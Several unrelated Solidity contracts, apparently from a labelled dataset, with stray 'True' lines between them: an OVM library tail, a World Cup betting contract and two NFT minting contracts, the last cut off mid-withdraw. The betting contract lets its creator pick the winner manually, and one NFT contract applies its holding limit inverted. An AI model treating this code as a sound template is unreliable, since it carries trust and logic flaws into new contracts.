"ovmGETNONCE()" ) ); return abi.decode(returndata, (uint256)); } /** * Performs a safe ovmINCREMENTNONCE call. */ function safeINCREMENTNONCE() internal { _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmINCREMENTNONCE()" ) ); } /** * Performs a safe ovmCREATEEOA call. * @param _messageHash Message hash which was signed by EOA * @param _v v value of signature (0 or 1) * @param _r r value of signature * @param _s s value of signature */ function safeCREATEEOA( bytes32 _messageHash, uint8 _v, bytes32 _r, bytes32 _s ) internal { _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmCREATEEOA(bytes32,uint8,bytes32,bytes32)", _messageHash, _v, _r, _s ) ); } /** * Performs a safe REVERT. * @param _reason String revert reason to pass along with the REVERT. */ function safeREVERT( string memory _reason ) internal { _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmREVERT(bytes)", Lib_ErrorUtils.encodeRevertString( _reason ) ) ); } /** * Performs a safe "require". * @param _condition Boolean condition that must be true or will revert. * @param _reason String revert reason to pass along with the REVERT. */ function safeREQUIRE( bool _condition, string memory _reason ) internal { if (!_condition) { safeREVERT( _reason ); } } /** * Performs a safe ovmSLOAD call. */ function safeSLOAD( bytes32 _key ) internal returns ( bytes32 ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmSLOAD(bytes32)", _key ) ); return abi.decode(returndata, (bytes32)); } /** * Performs a safe ovmSSTORE call. */ function safeSSTORE( bytes32 _key, bytes32 _value ) internal { _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmSSTORE(bytes32,bytes32)", _key, _value ) ); } /********************* * Private Functions * *********************/ /** * Performs an ovm interaction and the necessary safety checks. * @param _gasLimit Gas limit for the interaction. * @param _calldata Data to send to the OVM_ExecutionManager (encoded with sighash). * @return _returndata Data sent back by the OVM_ExecutionManager. */ function _safeExecutionManagerInteraction( uint256 _gasLimit, bytes memory _calldata ) private returns ( bytes memory _returndata ) { address ovmExecutionManager = msg.sender; ( bool success, bytes memory returndata ) = ovmExecutionManager.call{gas: _gasLimit}(_calldata); if (success == false) { assembly { revert(add(returndata, 0x20), mload(returndata)) } } else if (returndata.length == 1) { assembly { return(0, 1) } } else { return returndata; } } function _safeExecutionManagerInteraction( bytes memory _calldata ) private returns ( bytes memory _returndata ) { return _safeExecutionManagerInteraction( gasleft(), _calldata ); } }

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pragma solidity ^0.4.11; contract Better{ event Bet(address indexed _from, uint team, uint _value); event Claim(address indexed _from, uint _value); event Transfer(address indexed _from, address indexed _to, uint _value); event LogManualWinnerUpdated(uint winner); //only informative states uint public constant STATE_BET_ENABLED=0; uint public constant STATE_BET_DISABLED=1; uint public constant STATE_CLAIM_ENABLED=2; uint private constant NO_TEAM=0; uint[33] private _pools; //pools[0] is reserved uint public DEV_TAX_DIVISOR; //example 1/4 = 25% uint public _startTime; //example=1522983600; //when WC starts and bets close uint public _endTime; //example=1522985400; //when WC ends and claims open uint private _totalPrize; uint private _winnerTeam; uint private _numberBets; address public creatorAddr; mapping (address => mapping (uint => uint)) private _bets; function Better(uint passDevTaxDivisor, uint passStartTime, uint passEndTime) public { creatorAddr=msg.sender; DEV_TAX_DIVISOR=passDevTaxDivisor; _startTime=passStartTime; _endTime=passEndTime; _winnerTeam=NO_TEAM; _totalPrize=0; _numberBets=0; for(uint i =0; i<33; i++)_pools[i]=0; //set all pool to 0 } modifier onlyCreator { require(msg.sender == creatorAddr); _; } modifier onlyBeforeWinner { require(_winnerTeam == NO_TEAM); _; } modifier onlyAfterWinner { require(_winnerTeam != NO_TEAM); _; } modifier onlyAfterEndTime() { require(now >= _endTime); _; } modifier onlyBeforeStartTime() { require(now <= _startTime); _; } function setWinnerManually(uint winnerTeam) public onlyCreator onlyBeforeWinner returns (bool){ _winnerTeam = winnerTeam; emit LogManualWinnerUpdated(winnerTeam); } function updateEndTimeManually(uint passEndTime) public onlyCreator onlyBeforeWinner returns (bool){ _endTime=passEndTime; } function updateStartTimeManually(uint passStartTime) public onlyCreator onlyBeforeWinner returns (bool){ _startTime=passStartTime; } function bet(uint team) public onlyBeforeWinner onlyBeforeStartTime payable returns (bool) { require(msg.value>0); require(team >0); uint devTax= SafeMath.div(msg.value,DEV_TAX_DIVISOR); uint finalValue=SafeMath.sub(msg.value,devTax); assert(finalValue>0 && devTax>0); creatorAddr.transfer(devTax); _pools[team]=SafeMath.add(_pools[team],finalValue); _bets[msg.sender][team]=SafeMath.add(_bets[msg.sender][team],finalValue); _totalPrize=SafeMath.add(_totalPrize,finalValue); _numberBets++; emit Bet(msg.sender,team,msg.value); return true; } function claim() public onlyAfterWinner onlyAfterEndTime returns (bool){ uint moneyInvested= _bets[msg.sender][_winnerTeam]; require(moneyInvested>0); uint moneyTeam= _pools[_winnerTeam]; uint aux= SafeMath.mul(_totalPrize,moneyInvested); uint wonAmmount= SafeMath.div(aux,moneyTeam); _bets[msg.sender][_winnerTeam]=0; msg.sender.transfer(wonAmmount); emit Claim(msg.sender,wonAmmount); return true; } function getMyBet(uint teamNumber) public constant returns (uint teamBet) { return (_bets[msg.sender][teamNumber]); } function getPools() public constant returns (uint[33] pools) { return _pools; } function getTotalPrize() public constant returns (uint prize){ return _totalPrize; } function getNumberOfBets() public constant returns (uint numberBets){ return _numberBets; } function getWinnerTeam() public constant returns (uint winnerTeam){ return _winnerTeam; } function getState() public constant returns (uint state){ if(now<_startTime)return STATE_BET_ENABLED; if(now<_endTime)return STATE_BET_DISABLED; else return STATE_CLAIM_ENABLED; } function getDev() public constant returns (string signature){ return 'chelinho139'; } function () public payable { throw; } // EgyptEgypt 1 // MoroccoMorocco 2 // NigeriaNigeria 3 // SenegalSenegal 4 // TunisiaTunisia 5 // AustraliaAustralia 6 // IR IranIR Iran 7 // JapanJapan 8 // Korea RepublicKorea Republic 9 // Saudi ArabiaSaudi Arabia 10 // BelgiumBelgium 11 // CroatiaCroatia 12 // DenmarkDenmark 13 // EnglandEngland 14 // FranceFrance 15 // GermanyGermany 16 // IcelandIceland 17 // PolandPoland 18 // PortugalPortugal 19 // RussiaRussia 20 // SerbiaSerbia 21 // SpainSpain 22 // SwedenSweden 23 // SwitzerlandSwitzerland 24 // Costa RicaCosta Rica 25 // MexicoMexico 26 // PanamaPanama 27 // ArgentinaArgentina 28 // BrazilBrazil 29 // ColombiaColombia 30 // PeruPeru 31 // UruguayUruguay 32 } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }

True

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//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; _ownedTokensIndex[lastTokenId] = tokenIndex; } delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; _allTokensIndex[lastTokenId] = tokenIndex; delete _allTokensIndex[tokenId]; _allTokens.pop(); } } library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } function totalShares() public view returns (uint256) { return _totalShares; } function totalReleased() public view returns (uint256) { return _totalReleased; } function shares(address account) public view returns (uint256) { return _shares[account]; } function released(address account) public view returns (uint256) { return _released[account]; } function payee(uint256 index) public view returns (address) { return _payees[index]; } function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } //██╗░░░░░░█████╗░██████╗░██╗░░░██╗░█████╗░ ░█████╗░██╗░░██╗░█████╗░██████╗░░██████╗ //██║░░░░░██╔══██╗██╔══██╗██║░░░██║██╔══██╗ ██╔══██╗██║░░██║██╔══██╗██╔══██╗██╔════╝ //██║░░░░░███████║██████╔╝╚██╗░██╔╝███████║ ██║░░╚═╝███████║███████║██║░░██║╚█████╗░ //██║░░░░░██╔══██║██╔══██╗░╚████╔╝░██╔══██║ ██║░░██╗██╔══██║██╔══██║██║░░██║░╚═══██╗ //███████╗██║░░██║██║░░██║░░╚██╔╝░░██║░░██║ ╚█████╔╝██║░░██║██║░░██║██████╔╝██████╔╝ //╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝ ░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚═════╝░ contract LarvaChads is Ownable, PaymentSplitter, ERC721Enumerable { using SafeMath for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIds; string private _apiURI = ""; uint256 public _maxSupply = 5000; uint256 public _maxAmountToMint = 20; uint256 public _maxAmountToHold = 100; bool public _isMintingAllowed = false; uint256 public _itemPrice = 0.005 ether; uint256[] private _shares = [100]; address[] private _shareholders = [ 0x1B65a9816EF95229ACC3384E67956A7dFaB2b87c ]; modifier mintingAllowed() { require( _isMintingAllowed, "Minting not allowed" ); _; } modifier enoughFunds(uint256 _amountToMint) { require( msg.value >= _itemPrice.mul(_amountToMint), "Insufficient funds" ); _; } modifier limitTokensToMint(uint256 _amountToMint) { require(_amountToMint <= _maxAmountToMint, "Too many tokens at once"); _; } modifier limitTokensToHold(uint256 _amountToMint) { if (!_isMintingAllowed) { require( balanceOf(msg.sender).add(_amountToMint) <= _maxAmountToHold, "Tokens limit reached" ); } _; } modifier limitSupply(uint256 _amountToMint) { require( _maxSupply >= _tokenIds.current().add(_amountToMint), "The purchase would exceed max tokens supply" ); _; } constructor() PaymentSplitter(_shareholders, _shares) ERC721("Larva Chads", "LChads") {} function _mintMultiple(uint256 _amountToMint) private { for (uint256 i = 0; i < _amountToMint; i++) { _tokenIds.increment(); _safeMint(msg.sender, _tokenIds.current()); } } function mintMultiple(uint256 _amountToMint) public payable mintingAllowed limitSupply(_amountToMint) enoughFunds(_amountToMint) limitTokensToHold(_amountToMint) limitTokensToMint(_amountToMint) { _mintMultiple(_amountToMint); } function mintReserved(uint256 _amountToMint) public onlyOwner limitSupply(_amountToMint) { _mintMultiple(_amountToMint); } function _baseURI() internal view override returns (string memory) { return _apiURI; } function setBaseURI(string memory _uri) public onlyOwner { _apiURI = _uri; } function toggleMintingStatus() public onlyOwner { _isMintingAllowed = !_isMintingAllowed; } function setMaxAmountToMint(uint256 maxAmountToMint) public onlyOwner { _maxAmountToMint = maxAmountToMint; } function setMaxAmountToHold(uint256 maxAmountToHold) public onlyOwner { _maxAmountToHold = maxAmountToHold; } function setItemPrice(uint256 _price) public onlyOwner { _itemPrice = _price; } function setMaxSupply(uint256 _supply) public onlyOwner { _maxSupply = _supply; } function withdrawParitial() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } function releaseAll() public onlyOwner { for (uint256 sh = 0; sh < _shareholders.length; sh++) { address payable wallet = payable(_shareholders[sh]); release(wallet); } } }

True

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//Contract based on https://docs.openzeppelin.com/contracts/4.x/erc721 // SPDX-License-Identifier: MIT pragma solidity ^0.8.8 < 0.9.0; //OpenZeppelin contract/token imports import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; //Contract instantiation contract LegionsOfLoud is ERC721Enumerable, Ownable, ReentrancyGuard { using ECDSA for bytes32; mapping(string => bool) private _usedNonces; address private _signerAddress = 0xF5FF2CC2Ee8b4eA2C03F0cf0c93fd3a867Da9E8A; // Contract wallet uint public constant lolBadges = 7200; // Total number of token ID's uint256 private _priceOfToken = 69000000000000000; // Total cost per token minted is 0.069 ETH string private _tokenURIBaseURL = "https://api.legionsofloud.com/meta/"; //Base URL of token metadata bool public tokenSale = true; // True means sale is active, false means sale is not active. constructor() ERC721("Legions of Loud", "LOL") {} function hashTransaction(address sender, uint256 qty, string memory nonce) private pure returns(bytes32) { bytes32 hash = keccak256(abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(sender, qty, nonce))) ); return hash; } function matchAddresSigner(bytes32 hash, bytes memory signature) private view returns(bool) { return _signerAddress == hash.recover(signature); } function setSignerAddress(address addr) external onlyOwner { _signerAddress = addr; } function reUp(bytes memory signature, string memory nonce, uint256 token_quantity) external payable nonReentrant { require(matchAddresSigner(hashTransaction(msg.sender, token_quantity, nonce), signature), "DIRECT MINT IS NOT ALLOWED please visit www.legionsofloud.com"); require(!_usedNonces[nonce], "HASH USED"); _usedNonces[nonce] = true; require(token_quantity + totalSupply() <= lolBadges, "The max amount of tokens has been reached, per contract."); require(tokenSale, "Tokens are not for sale."); require(token_quantity <= 20, "The token amount entered is above the allowable limit of 20 per transaction. Please enter a lesser amount."); require(msg.value >= tokenPrice(token_quantity), "You have insufficient funds."); for (uint i = 0; i < token_quantity; i++) { _safeMint(msg.sender, totalSupply() + 1); } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override { super._beforeTokenTransfer(from, to, tokenId); } function walletOfOwner(address _owner) external view returns(uint256[] memory) { uint tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint i = 0; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function tokenOnSale(bool _isTokenSale) public onlyOwner { tokenSale = _isTokenSale; } function _baseURI() internal view virtual override returns (string memory) { return _tokenURIBaseURL; } function setBaseURI(string memory baseURI) public onlyOwner { _tokenURIBaseURL = baseURI; } function tokenPrice(uint token_quantity) public view returns (uint256) { return _priceOfToken * token_quantity; } // Just in case ETH does some crazy stuff function setPrice(uint256 _newPrice) public onlyOwner() { _priceOfToken = _newPrice; } function getPrice() public view returns (uint256){ return _priceOfToken; } // Contract Payout Structure address constant dev1Address = 0x9F90601582eD28922a81156a60aad0cf0fd69203; // Dev 1 address address constant dev2Address = 0xC7067F6Ed87F0fd8D5Cc47AD0F0C0b512a3CC275; // Dev 2 address address constant owner2Address = 0x70716Bd3E3E46e93E220E92045af42F2907Bbb9B; // Owner 2 address address constant artAddress = 0x80528F38843d19eCf558df2655354c99F05731a3; // Artist address uint constant dev1Fee = 13; uint constant dev2Fee = 12; uint constant artFee = 10; uint constant owner2Fee = 32; uint private constant sumShare = 100; function withdraw() public payable onlyOwner { uint256 balance = address(this).balance; uint dev1Transfer = (balance * dev1Fee)/sumShare; uint dev2Transfer = (balance * dev2Fee)/sumShare; uint artTransfer = (balance * artFee)/sumShare; uint owner2Transfer = (balance * owner2Fee)/sumShare; uint partnerTransfer = balance - (dev1Transfer + dev2Transfer + artTransfer + owner2Transfer); payable(dev1Address).transfer(dev1Transfer); 